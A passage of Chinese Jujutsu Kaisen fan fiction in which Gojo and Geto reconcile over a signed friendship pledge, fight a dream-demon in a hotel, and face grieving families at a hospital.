这回是真没钱了,虽然可以报销,但也要我自己垫啊。
“老子不管,要是一个小时内老子没见到就轰烂你!”
这些甜品店隔得一个比一个远,就算他有钱一个小时也订不到啊。
石田辉听着话筒传来的嘟嘟声有些绝望,你们少男与少男之间吵架赌气发脾气怎么祸害到我身上来了?
他活人微死,起身走出卡座。陪他聊天的艺伎合堂诧异问道:“石田君身有要事吗?”
石田苦着脸:“啊,老板急需要我帮他采买些东西,各个采买点离的很远。”
“这么恶劣又不讲理的老板呢,苦了石田君了。”合堂小姐柔和地看着他,突然想了想道,“只要东西及时到就能符合老板的要求吗?”
“额……是的吧。”
他自己不敢蛐蛐五条悟,听别人匿名蛐蛐几声也是爽的。
“那不如试试这个吧,石田先生要好好休息一下啊。”她掏出宣传单,石田接过后眼睛一亮,忙不迭掏出手机,连续叫了十几单外送服务,没有外送的店便加价摇人跑腿。
合堂见此温柔地拉着他的手让他坐下,又骗他多点了数瓶好酒。
白天来人可不多,好不容易遇到个冤大头怎么说也要好好诓一诓。
不到一个小时,在床上火地来回打滚的五条悟就听见了敲门声,一个小时不到不会是石田辉,难道是……
他利落的跳下床整了整自己凌乱的头发和衣服,敛起笑容走到门前摆出一副不好哄的姿态,清了清嗓子才拉开门。
“您好,您点的巴斯克。”服务生把包装袋往他手里一塞走人。
呜呜呜!这位客人也太好看了叭,但我的订单要超时了!
五条悟还没来的及开口,话便哽在了喉咙里,噎的喉壁生疼。
他郁闷地甩上门坐回床上,门却又被敲响了。
“您好,您的慕斯和巧克力,祝您用餐愉快。”
……
“您好,您的冰汤圆……”
坐下,起身,坐下,起身……来来回回,五条悟双眼冒火地盯着门,几乎要把它融出洞来,心里早就想了百八十种手段要把远在数十公里外的石田揍的鼻青眼肿头昏眼花。
门又响了,这次不能用敲来形容,简直是在砸在撞。
五条悟忍无可忍地拉开门就要让他们从哪来回哪去。
“老子不要……”
“你们为什么不告诉我美子和佳子出事了!”
17.‘婚礼现场\’与‘婚书\’
这次来的不是某某店的服务生或兼职的跑腿,而是眼眶通红的天内理子与满脸无奈的黑井美里。
“你自己带来的麻烦祸害了别人,告诉你除了让你像现在这样痛哭流涕外还有别的用吗?”
五条悟回想,大致复述了一遍夏油杰说的理由——这么交代应该就没问题了吧。
“我住进结界想要隔离危险…她们还是遇到……是我、我害的她们吗?!对不起……对不起……”
天内理子魔怔站着、不住低喃,翻来覆去地说对不起、对不起。身后的黑井美里担忧的去牵她的袖子,这一下让她彻底失了力歪软身体,倒进黑井怀里嚎啕大哭起来。
“五条先生!”黑井美里有点气愤。
五条悟也挺委屈:“干嘛!这又不是老子说的,要怪就怪怪刘海啊,老子只是单纯复述而已!”
这个怪刘海,吼老子不说还平白无故让老子背这么大一口铁锅!回头看老子怎么让他好看!
“现在怎么办啊,你们不是强大的术士吗,不是负责祓除夢魔的人吗,你为什么不想想办法还有空待在酒店浪费时间啊!”天内理子忍不住吼他。
五条悟抱臂的指尖点了点:“之前的话任然有效,也许你愿意成为诱饵引出夢魔?”
提出让她成为诱饵虽然五条悟激她的成分在,但却并非他空口白牙。
夢魔只需要通过标记而不需要与被标记者直接接触就能吸食受害者的精气,这也是为什么它这么难逮的原因之一。
据五条悟估算小岛由纪病床上不同咒力的浓度,他在入院前便被标记了,按理来说夢魔可以隔空吸取,却由于另一股不知名力量的骤然干预致使它在医院现身。同理,被结界隔绝咒力链接的天内理子住所的结界也被攻击,可见这是只小气吧啦没点格局的蠢货。
黑井美里闻言反驳:“不行!理子小姐怎么能……”
“我愿意!”天内理子倏地打断她,“由我招来的,当然要由我来解决!”
“黑井,请不要再劝我了!”
黑井美里半晌才低声说:“……我知道了。”
天内理子:“我该怎么做?”
五条悟卸掉门神的职位,他转身回屋捏起桌上的青团丢进嘴里:“等呗,按顺序你早该被嚯嚯了,现在却还活蹦乱跳站在这里。它迟早会像个讨债的追过来。”
“现在没有别的办法了吗?”
少女有些焦虑,她急切地想做些什么缓解内心的愧疚。天内理子是打电话时从朋友家长口中知道的事实,大人估计已经被搞得精疲力竭,应付几句后就匆匆挂断,她只知大概不知具体,而未知则最令人恐慌。
五条悟叼着团子摇了摇头。她感到喉咙一阵干涩,劈手夺过桌上的果茶咕噜咕噜灌掉半杯,勉强按下心思打开了电视。
没过多久,门锁被拧动了。不管是眼在心不在电视上的天内理子还是挂心自家小姐的黑井美里都屏住呼吸,心跳到了嗓子眼,死死盯住门板。
紧接着,另一份吊住心跳的情绪涌上心头,天内理子带着莫名的祈盼和期待握紧了棒球棍。
她们二人严阵以待,而埋头苦吃的五条悟头都不抬,吃得更快了。
*
夏油杰溜出来后落到一处无人的公园。秋初的风细细密密,补补缝缝。厌弃了落叶又怜惜地同他兜转。
站了会,汗巴巴的手掌被风一吹便黏糊糊凉嗖嗖的难受,他慢半拍反应过来,展开了手中皱巴巴的纸张。
小岛由纪的名字被密密麻麻的黑线圈着,一圈又一圈压重的笔痕——是多次反复的结果。
名字旁,鲜红的字迹歪曲,夏油杰眯眼看了许久才勉强辨出“竹丘”,这两字用力之大红墨洇出,被笔者无意一蹭,曳出绯红的拖尾。
他反反复复的看,看到看无可看后才随手塞进兜里,又没了转移注意的东西,夏油杰只好心不在焉地继续发呆。
在这样的风里站了不短的时间,夏油杰哽在心头的一股气突然卸了力,没了倚物的他忽的有些难过又有些茫然,像风又像叶。
五条悟没有在意的事也没有在意的人,对他,恐怕也是一样的吧。他在乎自己会如同自己,时时忐忑,时时惦念吗?
如果自己不主动求和,他们的友谊会到此为止吗?
想到这夏油杰踌躇了很久,他从公园的这头走到那头又从那头返回。终于,他羞恼的用脚尖碾压落叶堆,拿出手机飞速翻动网页后跑出公园。
徘徊在门口,黑发少年深深吸气又呼气,拿着房卡的手起起落落。
悟看到他回来会是什么反应呢?
——装作没看到他的样子,然后和他彻底绝交?认为他不值钱,觉得反正吵架冷战他会先低头然后以后在他头上作威作福?或者只是犀利毒舌几句就把这页翻过去?
会是最后一种的!
夏油杰心中默念,他摆出平静的神情、装作一副什么都没发生的样子毅然决然贴上房卡,上了战场。
提着查找攻略绕道买来的年轮蛋糕和奶油夹心饼干并着两份午饭进门,没想到抬头就是呼来的扫把和在高桥家没挨到的棒球。
“理子妹妹?”
“怪刘海人渣?”
夏油杰一脸懵逼:“这话从何说起啊?!”
天内理子懒得理他,她扬头大大哼了一声坐回沙发。
夏油杰抓耳挠腮摸不着头脑,但风评被害这种事用屁股想也有五条悟的手笔在。
“盯老子干嘛,你瞒着她的事被人家知道了!”五条悟翻了个大大的白眼没好气道。
这下子夏油杰沉默了,他张了张嘴不知道说什么——上天送来的搭话话题没了。
“你洗澡了,头发怎么没吹干?”
他干巴巴的说。
五条悟不屑:“哼!”
“……饿了吗,我给你带了午饭和饭后甜点,总是拿甜品当正餐对身体不好。”
五条悟撇头,比刚刚还大声的“哼”了声,挑衅似的两口解决了三个蛋糕。
年轮蛋糕?那我手上这份?
夏油杰有些不自然的垂下眸子:“理子妹妹、黑井小姐,你们要吃蛋糕吗?”
“别想着几份甜品可以让妾身原谅你!”
天内理子窜过来,她一大早情绪跌跌宕宕的又赶了很远的路,现在确实饿了。
五条悟警觉竖起耳朵,在她刚要接过蛋糕之际终于忍不住地以迅雷不及掩耳之势劈手夺过,‘嗷呜’一口塞完蛋糕,等不及咀嚼就那么含在嘴里就又把天内理子转手去拿的夹心饼干忙不迭往嘴里填。
“五条悟!”
天内理子双眼喷火要去揪他的白发。
夏油杰横拦竖挡住一波波攻势,轻柔的把她往后带了带。
“抱歉理子妹妹,你拿我的手机叫楼下的外卖好了。”
天内理子升起一股被当猴耍的愤怒,夏油杰却忍不住翘起了嘴角。
“哼,我要把你吃破产!”
看在眯眯眼主动请客的份上,天内理子将怒火转到菜单和夏油杰的余额上。
“你不是不理我吗?”夏油杰戏谑道。
“哼——!”
毛发蓬松的狐狸附身去勾五条公主的肩膀,意料之中的没有任何阻力,他不由得拉高嘴角,“包你一个月甜品怎么样,别气了,嗯?”
五条悟冷然看着他:“所以你是来跟老子道歉的?”
夏油杰闻言脸上的笑僵住了:“是有了新线索来商量作战计划的。”
他握住对方肩膀的手微微放松,竟是想要抽离去。五条悟冷哼一声反手摁住,将手与肩间的空隙压实。
“太不诚实了吧,优等生就不能对老子坦诚一点?”
“......我来收回那些话。”夏油杰耳垂微红又急忙捍卫自己的立场:“我求和可不代表我认为自己的理念是错误的。”
“笨蛋!超级无敌大笨蛋!连老子在说什么都搞不懂的笨蛋!”
他们一站一坐,从夏油杰的视角看去,五条悟抬起的雪睫一颤一颤,愈发显得雪色映衬的眼眸晴光无限。
“老子确实有挖苦你的意思,但那也是你先说些浑话!老子的确不认同但也没想过否定你的理念,更没想让你为理念道歉,”白发少年大声道,“追求什么都行,杰高兴就好,反正杰很强做什么都可以自己处理好吧。”<
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p>“让老子气愤的是杰的态度啊!明明只是在讨论下一步调查的可行性,就因为意见相左你就要抛下老子甩身离去吗?明明可以简单否决后选择别的可行性,老子又不是不会听!”
五条悟中气十足的声音传到夏油杰耳里莫名透着些委屈控诉的味道:“杰果然是个胆小鬼吧!碰到了‘不同’就要把所有有区别的存在都踢出自己的世界,连对着老子都是这样,难道之前的开心要因为这一点就要否决,就要一笔勾销吗?”
夏油杰瞳孔扩大,一股愧疚的酸涩不受控的溢满喉头,连带着搭在对方肩头的手指都不受控的蜷缩。
自己竟然斥责他什么也不在乎,这家伙,明明在这么认真地思索两人的情谊啊!
归责的话转在耳边像一则信号不好传送许久才到的回应短信,让夏油杰忐忑的心骤然笃定。
“抱歉悟!”夏油杰突然反手用力握住扣住自己的手,“我错解了你!我们和好吧!”
这家伙,明明比谁都要在乎啊!
在心气最高的年纪里,向来不服输的他面对同等强大同伴,致歉的话却说的如此坦然温软,竟带着几分欢欣的味道。
五条悟傲娇的挣回手:“吼这么大声干嘛,老子要聋了!你说和好就和好?”
“你给我见好就收啊!”夏油杰将他抽回的手抢回掌心,“要听老师的话啊,没听她说我们这个年纪的人吵架是正常的吗?吵完就要走下一个流程了啊!”
五条悟被他的理直气壮吼的怔住,难道这就是正常社会的交往规则吗?
他有些懵懵的但一点不气短的吼回去:“那你吼这么大声干嘛?老子要聋了!”
“既然要和好,那你给老子写保证书!”
“保证书?那你也要写!”夏油杰在他的脑回路里迷了会路,很快反应过来,“我保证以后再也不错解你,你保证以后再也不提什么离谱的提议!”
“不是这个!”五条悟眉头狠狠皱在一起,他起身自然的扒拉开夏油杰的书包,从中抽出纸笔,刷刷刷的开写。
“呐,快签字!”
夏油杰好奇地念出声来——
“保证书:五条悟和夏油杰会是一辈子的挚友,会永远信赖、永远尊重,永远陪伴彼此。拉钩盖章,一百年……”
下面的空白区,五条悟用歪歪扭扭的字体龙飞凤舞签上了自己的大名。夏油杰猛的吸了吸鼻子,一笔一划的郑重签上了“Geto suguru”。
“Geto suguru”和“Gojo satoru”并排在一起,字迹并不整齐但又给人整整齐齐的和谐感。
五条悟美滋滋来来回回地看,又在空白区补上了“谁违规谁小狗”。夏油杰已经揭开了盒饭,见他低着头忙忙碌碌到飞起,无奈叹了口气,然后一筷子一筷子地喂给他。
五条悟自然张开了嘴,那张纸上已经被他密密麻麻的写上了“让老子伤心的话怪刘海要赔给老子小蛋糕”“吵架的话夏油杰保证会主动道歉”等一系列不平等条款,多到挤挤挨挨,字越来越小甚至到辨不清的地步。
“噫~噫~噫!”天内理子忍不住疯狂跺脚,黑井美里警觉地早早掏出手机录像。
“黑井,录像我也要一份。”天内激动的说。
“没问题理子小姐!”
夏油杰脸色爆红:“你们不要做些奇怪的事啊!”
“咦?你们都不觉得自己在说些奇怪的话却说本小姐在做奇怪的事吗?”
五条悟咕哝地说:"哪里奇怪了?"
天内理子搭着女仆的肩:“‘杰高兴就好’!”
“‘你比谁都要在乎’!”女仆了然地配合握住她的手。
“悟!”“杰~”
两人眼神迷蒙,深情款款。
“这根本就是求婚现场吧!”
五条悟和夏油杰:“哈?”
天内理子眯着眼笃定道:“连婚书都签了,接下来是不是要交换定情信物了?”
黑井美里赞同点头:“要准备神前式还是人前式,需要帮忙吗?”
“不要玷污老子和杰的友情啊!”五条悟投篮一样,桌上的大福精准命中少女的嘴。
18.祓除
五条悟将保证书揣进自己兜里,马上又担心它会如同过去衣服里的卫生纸会被洗衣机搅烂,掏出来后左看右看,自然的塞进夏油杰的裤兜里。
“杰,你先替老子保存一下。回去记得还给我哦。”五条悟不放心的叮嘱。
隔着薄薄的布料,夏油杰陡然被‘摸’了大腿,肌肉敏感的收缩,不一会又放松下来。他没好气道:“之后乱七八糟补上的我可不认。”
白毛猫猫哼着歌装聋作哑,眼疾手快的将饲主饭碗里的猪排扒拉过来。
“等……”
话音未落,五条悟整个人已经原地起飞,满脸通红地吐着舌头斯哈斯哈,晕头转向到处找水喝。
咕噜咕噜,他一把抓起夏油杰的水整瓶整瓶灌下去,“呜啊,还要!”
几瓶水,一股气的喝了下去,又塞了几个超级甜腻的大福才总算压下那股冲人的辣意。
五条悟把舌头晾在外面吹风,口齿不清地抱怨:“脑纸的色头要屎掉惹~(老子的舌头要死掉了)”
舌头上的麻痒疼痛一时半会下不去,五条悟生无可恋的趴在桌子上。
“你不是不能吃辣吗?”
五条悟还记得自己好心塞给他冰镇蛋糕,他差点反手还自己邦邦两拳的事呢。
夏油杰夹菜的手顿了一下,若无其事回道:“嘛,吃多了就喜欢上了。”
“那以后老子要给你多喂点甜品,这样杰就可以陪老子去打卡整个东京的甜品店了!”
“你进嘴的甜品根本不是人吃的,适应一辈子也适应不了啊。”夏油杰吐槽,“况且哪次你去甜品店我没陪你,哪次你的限量款蛋糕我没多帮你买一份?”
“也~是!”五条悟尾音荡漾,“不愧是老子给出名分的挚友!”
五条悟在五条家,不,是出生以来从来没有体会到这种奇妙的感觉。有人陪他钻研术式体术、陪他斗嘴打闹、陪他在大街小巷整日整夜的游荡。引领他,教导他,却尊重他的过去与个性。说教他、照顾他,但给了他全心全意的信赖与关怀。
就像、就像可乐在嘴里炸开的感觉!太阳暖洋洋的,气泡咕噜咕噜上升,窗外的风呼啦呼啦吹的高兴。他可以跳到他的肩上,夏油杰会纵容又自然的揽起他的膝弯,一脸无奈地告诉他下次要慢一点。
挚友,写的时候并不觉得特别,先下五条悟兴奋的左摸右摸这两个字眼,老子是有挚友的人了!
名分?虽然已经习惯了这小子“大意正确式”的描述方式,但夏油杰还是下定决心回去帮他补补国文。
电话铃声突然响起,天内理子将手机递还给夏油杰。
“喂,额…好的我知道了这就来。”
“是外卖到吗?”
“不是,”他有些无语,“是石田先生打过来的,他的余额不够打车费了……叫我去楼下结账。”
天内理子:蚊香眼jpg
五条悟举手:“老子也要去!”
“驳回。”夏油杰想也不想地划了个大叉。
五条悟用衣袖轻拭眼角:“呵,男人,得到了就不珍惜的品种。”
夏油杰心梗但哄人:“我回来给你带好吃的,你在这里,我放心些。”
“那个,”旁听的天内理子默默举手,“还是让他去吧,你的余额...好像只剩三块五了。”
夏油杰瞪大眼睛,不可置信地掏了掏耳朵。
“我将将点了两份蛋包饭而已,再想点杯奶茶的时候弹窗就提醒余额不足了……真不是我乱花!”天内理子不好意思地咳了两声,马上又理直气壮起来,“咒术师就没有缺钱的,谁知道你这么...拮据。早知道就不让你请客了。”
咒术师确实报酬丰厚,可夏油杰才不过入学一个月左右,这一个月也大多是在学校学习。为数不多任务得到的工资大半汇回家里,剩余的也在这一个月的疯玩里与另外两位挥洒在了东京这座繁华城市。
夏油杰:怎么办,有点生无可恋了。
旁边的五条悟笑的饭都喷出来了,他大笑着揽住变成石雕风化掉渣的夏油杰:“看来你离不开老子了呦!不过那一个月的甜品还是要请的,而且老子可不接受延期。”
人言否?
夏油杰的眼睛彻底失去高光,一副摇摇欲坠随时会碎掉的样子。
就算祓除了夢魔工资也要月底才到账啊,难道要自己把汇入家的钱再厚着脸皮张嘴要回来?
噗——呜呜呜——
他头甩的跟飞机的螺旋桨似得坚决排斥这个选项。
“悟......”
他可怜巴巴的看着五条悟,期望获得五条公主的垂怜。
五条公主露出狰狞的嘴脸变成五条恶龙:“老子可以借钱给你请客。不过普通人借钱出去是不是有利息啊?”
他转了转眼珠子:“这样好了,你借老子的钱请老子吃一个大福,利息就是两个大福,一周后没还完就回利为本......”
夏油杰扯住他圆润的脸皮往两边拉,忍无可忍地测测它的厚度:“你别当大少爷了,改去贩高利贷得了!”
*
此时的石田辉站在风里和坐在车里警惕的司机相对着,他瑟瑟发抖的看着握紧手刹的司机,很害怕夏油杰下来不是来结账而是来收尸。
落得这个狼狈的窘境也不是他想的,抛开自己贪图享乐声色犬马不谈难道艺伎小姐就全然无错吗?
石田辉抖得思维开始发散。
她长那么美若天仙,性格那么温柔体贴,职场上那么善言善道干嘛?而自己不过是爱蛐蛐爱聊天爱扯皮爱八卦爱摸鱼了一点。这难道不是每个社畜都会犯的错吗?
出来的人是五条悟,比五条悟更先出来的是调侃:“呦,这不是理想主义者吗?”
石田辉干笑着打哈哈。
五条少爷爽快的甩给他一张没有密码的卡。
石田辉给自己结完账提议道:“这笔钱我向上面报销吧。
五条悟不在意:“这有几个钱,麻烦那事干嘛?”
“您有所不知,只要在合理范围,报销流程还是很快的。毕竟咒术师祓除咒灵的量很大,管财务批的也不是自己的钱,您大可……”
五条悟这下懂了,他还是很乐意给烂橘子找点不痛快的。他用力拍了拍辅助监督的肩膀:“你小子,有前途!”
*
两人回了酒店,石田辉知晓经过后什么也没问,眼疾手快地帮天内理子订下为数不多空房中离得最近的一间。
“酒店的人流量太多了,到时候恐怕会伤及无辜。”夏油杰皱眉道,“悟,你们五条家难道在新宿没有安置什么房产吗?”
“不清楚诶。”五条悟向来不管这些,“反正房子这么便宜的东西,老子现在去买几套也来得及吧。”
夏油杰:.......
我不仇富,但我现在想和你拼了。
“石田说可以报销的,买房子也是任务需要嘛。老子可以买套大别墅,名字就写咱俩的。”
可以报销?听到这里,夏油杰对于17岁就成为东京有房一族疯狂心动。
石田从房子二字说出口时就心有预感,此时他疯狂抹冷汗:“五条同学,是合理范围内……”
买套房子,还是大——别墅什么的太过了吧!尤其五条家少爷眼里的大和普通社畜眼里的大稍微动脑子一想也肯定不是同个概念啊!
幸好温柔又善解人意的夏油同学否决了这个提议。
“我们总共也不会在新宿停留多久,还是别浪费了。”夏油杰想起自己背的高利贷就有气无力,“我多放几只咒灵四四方方围起来,有咱们两个在它也掀不起什么风浪来。”
五条悟毫不吝啬的比了个大拇指:“毕竟我们是最强的!变得自觉了嘛,优等生。”
一旁的石田辉见两人商量好后正准备悄无声息蹑手蹑脚的退下去。
试问哪个社畜上班时间摸鱼被老板抓到还要让老板来擦屁股能不心虚?
“石田先生。”夏油杰一个眼刀子甩出去幽幽出声叫住他。
石田垂头耸肩僵在原地,这可是连五条少爷都敢说的狠人啊!他看着桌上摊开的纸连忙转移话题:“您在找竹丘吗?”
夏油杰:“您知道竹丘在哪?”
“竹丘是大阪西郊的一座山头,为了方便指向便借山脚长满野竹的因取了这么个名字。”
“大阪西郊。”夏油杰默念,“那边有什么村落吗?”
男人回想:“好像确实有,应该在竹丘南。那边没怎么开发,竹子也长势不喜没能形成什么景点,一般也没人去。”
“谢谢您,您帮了大忙!”
“这是从艺伎小姐那知道的,心神紧绷的时候适当放松,有时候也会有意外售货呢。”
再次赞美合堂小姐!
夏油杰哽了一下开口:“……给我也开间房间。”
闻言,一旁本来无聊站着的五条悟开始哭天抢地里了:“杰刚和老子签订保证书就又要和闹分手吗,你个渣男!”
“你非要学悲情剧里女主的口气吗?”
“还不是杰先辜负老子的?”
“对了,”五条悟抬手治住一脸忿忿的夏油杰,从他口袋掏出一张纸条展开怼到辅助监督脸上。
“哼~哼~哼~哼~”
五条悟双手叉腰,趾高气昂,手上像拿了什么万能圣旨。
成熟的中年男人想接过,拿着御令的少年手往后缩了缩。
还不让碰。
社畜腹诽。
待他勉强从密密麻麻的字眼中提炼出最关键的一行:“真是纸短情长啊……额,恭喜恭喜?”
“很有眼光!”五条悟揽着比他稍矮一些的黑发少年大笑离去,路上嘴贱的炫耀起自己的身高。于是和和美美的一幕又鸡飞狗跳起来。
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石田辉推了推眼镜,直到他们的身影完全消失在走廊尽头才转身离去。
*
半夜,夏油杰被弄醒时,五条悟正绞着他的头发编麻花辫——左一个右一个,两个冲天的辫子。
两人约定轮流守夜,下职的夏油杰刚合眼就被猫搞醒了,此时怨气冲天,谁来了都得挨一巴掌的那种。
“你最好有正当的理由。”夏油杰冷脸扯下皮筋。
他已经违背昨日内心的毒誓在精神上失去做人的资格了,要是对方拿不出正当的理由,夏油杰可以选择在物理上再次失去做人的资格一回。
“夢魔的咒力正在靠进哦~”
夏油杰瞬间清醒,翻下床就往外面冲。五条悟紧随其后,迎面来的却是差点摔上鼻梁的大门。
“和我待在一起就算了,不要去女生房间耍流氓啊!你先穿条外裤把你的皮卡丘内裤和屁股蛋子遮起来吧!”
*
夏油杰闯进去的时间刚刚好。
数十只苍白又泛有不祥黑色纹路的手臂破窗而入,从四面八方聚拢包围。酒店的天花板被尖锐的指甲划出道道刻痕,墙灰簌簌抖落白了三人的头发。
“理子小姐!请退后!”
黑井美里牙关咬紧将扫帚状的咒具横于胸前。
夏油杰用力回手,虹龙破空而出。它摇头叼起天内理子的衣领,摆尾扫过黑井美里的下盘,灵巧抖身二人便稳稳落于它的身上。
达摩使出,撞向咒灵腹胸,与此同时夏油杰敏锐地射出两发咒灵炮弹。
“无偿帮你做个眼球移植手术,不用谢哦!”
夢魔发出凄厉尖啸,周身黑气流涌狂暴,竟硬生生将自己的长甲用力捅入被撑大的眼眶,眼睑和鼻根被它撕裂,鼻根像被剖解的猪肉翘起翻边挂在上面。
不好!它在催动咒印!
天内理子咆哮着发狂,她甩出身上护身的咒具将黑井美里掀翻。夏油杰浸在战斗里忽略了对虹龙的控制,一时不察竟被她钻出安全圈挡在夢魔身前。
夢魔摆舌如鞭,像蜥蜴哺食,将她卷在巨舌之间。
“理子小姐!”黑井美里伏在地上,声嘶力竭。
“呜啊!”
关键时期,夏油杰眼前却雾蒙蒙一篇,浮起漾开的波纹。
他又看到倒地生死不知的五条悟,熟悉的面容很快一闪而过。紧随其后的是被一枪爆头的天内理子,上一刻她还在抹着泪微笑,下一刻着自己还摊开的手上却溅满少女温热的鲜血。
掌声,雷鸣般的掌声响彻。夏油杰感觉自己又站在了海里。
他失神呆愣,眼前是一片片的空白,刺眼的强光四面折射,白蒙蒙中浮现出一个又一个猴首人身的影子,挨肩叠背,纷纷拥拥。
夏油杰睁着木然的眼睛迷茫张望,拥簇的人群分叉,中心的祭坛矗立着一个身影,孤绝如刃。
这股气息……
“术式正转,苍!”
强大的咒力掀起恐怖的气浪,散落一地的玻璃碎片刮出尖啸。夢魔闪避不及被打去半边躯体,漏出幽幽的虚洞,断口处咒力蠕动翻卷,肉芽生长扭曲。
是穿好裤子的五条悟。
他从容自信蹲伏在窗沿,周身隔出一片空地,迸溅的玻璃碎片与飞旋的墙屑未染身分毫。
“杰,也太逊了吧——”
夏油杰勉强集中精神。
虹龙接住坠落的天内理子,黑井美里拖着挫伤的腿一瘸一拐冲上来,一把夺过恍惚苍白的少女,赤红着双眼像护鸡崽一样将人护在怀里。
黑发少年倏然出手,蜘蛛缩小悬在他的腕间,数束蛛丝飞射,绞住狂乱挥舞的手臂。
手臂主人的腕子像被拴住的猪狗,在蛛丝的拖拉下即便再怎么死不甘心也被抵上了案板。
“哇喔~蜘蛛侠!”
五条悟笑容肆意,他嘴上跑火车手头没闲着。
“术式正转,苍!”
白发少年倒挂空中,蓝色光束从指间溢出,打击精准。
夢魔即将湮灭,他凭六眼的精确与敏锐准确抓住咒灵的咒力核心。
五条悟鼓着脸将核心压吧压吧搓成球,看着它眼色莫名。
“谢了悟。”
夏油杰恍惚着伸手去接,却霎时满脸愕然瞬间支棱。
——五条悟竟然将球像抛水果糖一样抛起,张开他的血盆大口伸出嫣红的舌头去接!
夏油杰一时情急,直接五指并拢插进他的嘴里。
“呜!”
五条悟被夏油杰用空手狠狠锤了脑袋,他含着对方的手指含糊痛呼一声直接闭合牙关咬了下去。
夏油杰面目狰狞地抽出手,这只没一二三逼数的蠢猫!
他扬起手。
“呜啊!你打老子屁股干嘛?!”
“我揍死你丫的!”
“嗷——啊!优等生,你ooc了!”
19.蜂后
“我也要去!”天内理子脸色苍白但死死扒着车门,“而且黑井的腿也需要去医院治疗!”
夢魔濒死引动咒印,想起五条悟的预言,夏油杰总有股不好的预感。
他绅士的搀扶黑井美里坐上副驾,那里空间相对充裕,不易受到二次伤害。
“你刚刚是突然犯病了吗?”夏油杰撑着下巴看着窗外倒飞的树影问道。
“只是好奇啦,突击了几次你都遮遮掩掩,老子就更想尝尝了,一点味也没有嘛。”
一点味道也没有?想起五条悟的六眼,夏油杰心里了然。是了,他越来越能吃辣,吃的胃部绞痛也忍不住继续吃,但一点不妨碍咒灵玉恶心腐朽的味道。
——这是束缚,与味觉无关。
他低垂下眉眼,温柔注视着昏昏欲睡倒在自己腿上的少爷猫圆润如玉的侧脸。
五条悟抬了抬眉,夏油杰意会拨弄开抚在他额前的白发,少爷猫满意的舒开眉眼,乖巧地蹭了蹭,找了个舒服的角度窝着不动了。
夏油杰轻笑出声,音色微哑,眼中晦暗不明。
凌晨五点,黑色压的密不透风。街上偶有路灯渗出几丝暖光,却也因年久失修电压不稳忽明忽暗,迷离恍惚。
或许是因为灯光的原因,他的眼睛也跟着忽闪忽闪,摇摇欲坠的即将暗淡。
‘2006年8月’,想起这个曾经让他摸不着头脑的日期,夏油杰还有什么不明白的呢?
他对窗户哈了口气,抿着一抹若有如无似苦涩似释然的笑写写画画。
腿上的五条悟似睡的有些不舒服,眼球在眼皮下转动着,他完全侧过脑袋埋得跟深了。
*
医院白炽灯的灯光刺的人眼睛发酸,护士递来的死亡通知书上“石田佳子”的名字被泪水晕开。
“一个小时前走的,尸体已经被家属领走了。”医生又指着隔壁两张床,“刚刚送进手术室的,还在抢救。”
“理子妹妹……”夏油杰嘴唇蠕动了一下,终究是把空间留给她,拉着五条悟出去了。
夏油杰倚着墙壁,有些低沉。
“你不是早就知道了吗?”
病房的门未关紧,隐隐有几声呜咽声露出,声音不大隐隐约约,但每一声都是压在喉咙里,刺的口齿鲜血淋漓才不得不吐出来的。
砰——啪——
“楼上是什么声音——”
话音未落,传来护士心急如焚的求救。
“不好了,患者家属失控砸门,渡边医生还在里面做抢救手术!”
石田辉死死匝住高桥的肩膀,旁边的一对中年夫妻一左一右的拉着男人的小臂。被三人掣肘的瘦弱男人此时却如一头被激怒的斗牛,爆发出前所未有的力道,直拖得三人踉跄,勾得石田辉的骨骼发出令人牙酸的刺响。
“把小岛由纪交出来!你们用的什么手段救活的他,为什么不救我的儿子!他才八岁啊,你们这些认钱不认命的,全是帮站着的畜生!畜生——畜生啊!”
他吼着,每一声都混杂着从肺里挤出的气音。
匆匆上楼的两人顿住了,一旁的年轻护士闻言怒道:“都说了!小岛由纪是自己突然醒的,我们也不知道原因!”
“你们放他出院干什么!你们放他住出院干什么?!”男人赤红着眼,“你们就该把人留下来,留下来查清楚!你们就该好好研究他让他未医疗做贡献!我儿子躺在那里,他怎么能活蹦乱跳的一走了之?!”
夏油杰快步上前,代替辅助监督将人压住,“您冷静一点,在抢救室里的也有您儿子!”
高桥什么都听不进去,只一味的拳打脚踢。夏油杰闪避着他的拳脚又怕自己控制不好勒断他的骨头,只好将力道放松一些,未料高桥挣扎间旋身,竟一巴掌扇在了夏油杰脸上,声音清脆,不偏不倚。
这一下可惹恼了五条悟,他箭步上前将男人双手反扭,踹中膝窝,重重放倒在地。
“脑子不清白,老子就让你醒醒!”
男人失了力,伏在地上低声呜呜的哭。见状,一旁的小护士不忍的放下了手中的镇定剂。
窗外的晨光微微亮起,却怎么也破不开医院经年的寒意。
五条悟侧耳听了听,抢救室的灯光熄灭,医疗床被推出来。
“田中美子,15岁。经抢救无效,于2005年10月21日5点32分确认死亡。”
天内理子垂头站在走廊尽头,中年夫妻浑身发软滑倒在地。
天空的曙光总会亮起,死亡带来的潮水却再不退去。
田中美子的曙光,不会到来了。
夏油杰压抑着什么转身离去,擦过不敢上前的少女微颤的肩膀,刹住步子,却未停留。
抱歉,理子妹妹。我不能安慰你,我救不了他们,但高桥镇还有一线生机。
手机铃声响时,家入硝子刚刚吐完。旁边的泡面呼出香气,她却一点没胃口,苍白着脸扑到床上。
“硝子,我们需要……”
“不要。”
方才解剖完咒术师血淋淋尸体的她想也不想拒绝,用屁股想她也知道夏油杰为什么找到她。
“拜托了硝子,有一个受害者只有你能救。”夏油杰声音恳切。
家入硝子不为所动:“你可以把人带来高专,但我不会出去。我可不想做离巢的蜂后。”
夏油杰不明所以:“蜂后?”
回应他的是女医师疲惫的轻笑,“你问五条妃子吧,我可是差一点就过上了皇帝般的生活呢。”
“你当真以为纯然是因夢魔,硝子才不被允许出外勤吗?”
刚刚的对话五条悟也听到了。
“你和夜蛾老师都说……”
“只是借口而已,毕竟这是硝子的事,就算要告诉你,也应当由她自己开口。”
五条悟没了一贯的活泼:“五月份,硝子跪在路边试图救回因车祸已逝的父母被夜蛾发掘,唯一能够使用反转术式治愈他人的她在高层和众多咒术师家族眼里便不再是人了。”
“最开始,高层想将她豢养起来,成为为他们掌控的最精密最完全的医疗机器。可随着藉由反转术式搜集笼络的资源日益庞大,他们便不再满足于此。”
401空旷寂寥,除了患者微弱的呼吸声再无其他声响。
高桥镇被夢魔造成的神经侵蚀无法靠常力逆转,但好在持续性的伤害停止,药物与机器暂时稳定了他的生命体征。
“我不可能将儿子交给你们两个未成年!”没有亲眼看到的人不会相信超自然的存在,比起两个自称专业人士的毛头小子,他更愿意相信从唯一的痊愈者和医院手里能找到救助儿
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子的办法。
